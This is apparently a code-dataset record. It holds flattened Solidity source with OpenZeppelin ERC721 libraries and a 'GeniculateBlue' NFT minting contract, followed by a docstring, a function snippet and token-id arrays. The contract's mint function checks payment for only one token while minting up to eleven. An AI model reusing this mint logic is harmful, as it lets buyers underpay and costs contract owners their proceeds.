if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/* _______ _______ __ _ ___ _______ __ __ ___ _______ _______ _______ _______ ___ __ __ _______
| || || | | || | | || | | || | | _ || || | | _ || | | | | || |
| ___|| ___|| |_| || | | || | | || | | |_| ||_ _|| ___| | |_| || | | | | || ___|
| | __ | |___ | || | | || |_| || | | | | | | |___ | || | | |_| || |___
| || || ___|| _ || | | _|| || |___ | | | | | ___| | _ | | |___ | || ___|
| |_| || |___ | | | || | | |_ | || || _ | | | | |___ | |_| || || || |___
|_______||_______||_| |__||___| |_______||_______||_______||__| |__| |___| |_______| |_______||_______||_______||_______|
*/
pragma solidity ^0.7.0;
contract GeniculateBlue is ERC721, Ownable {
constructor() ERC721("Geniculate Blue", "LGN") {}
using SafeMath for uint256;
uint256 public constant nftPrice = 550000000000000000;
uint public constant MAX_PURCHASE = 11;
uint256 public constant MAX_MAIN = 475;
bool public saleIsActive = false;
uint public teamReserve = 15;
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function reserve(address _to, uint256 _reserveAmount) public onlyOwner {
uint supply = totalSupply();
require(_reserveAmount > 0 && _reserveAmount <= teamReserve, "More.");
for (uint i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
teamReserve = teamReserve.sub(_reserveAmount);
}
function mint(uint _numberOfTokens) public payable {
require(saleIsActive, "Not Active.");
require(_numberOfTokens <= MAX_PURCHASE, "Exceeded limit.");
require(totalSupply().add(_numberOfTokens) <= MAX_MAIN, "Too many minted.");
require(msg.value >= nftPrice, "More Ethereum.");
for(uint i = 0; i < _numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_MAIN) {
_safeMint(msg.sender, mintIndex);
}
}
}
string public mintedCode;
bool public isReconstructed = false;
mapping (uint256 => string) public geniculateSeeds;
mapping (uint256 => bool) public seedSet;
mapping (uint => string) public mintedColors;
event SeedWritten (uint256 indexed nameIndex, string newName);
function setSeed(uint256 _tokenId, string calldata currName) public {
address owner = ownerOf(_tokenId);
require(msg.sender == owner, "Incorrect.");
require(seedSet[_tokenId] == false, "Name given.");
seedSet[_tokenId] = true;
geniculateSeeds[_tokenId] = currName;
emit SeedWritten(_tokenId, currName);
}
function viewSeed(uint _tokenId) public view returns(string memory){
return geniculateSeeds[_tokenId];
}
function setCode(string calldata currName) public onlyOwner {
mintedCode = currName;
}
function viewCode() public view returns(string memory) {
return mintedCode;
}
function setColors(uint palette, string calldata palette_param) public onlyOwner {
mintedColors[palette] = palette_param;
}
function viewColors(uint palette) public view returns(string memory) {
return mintedColors[palette];
}
} | * @dev Returns true if the key is in the map. O(1)./ | function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
| 2,048,164 | [
1,
1356,
638,
309,
326,
498,
353,
316,
326,
852,
18,
531,
12,
21,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
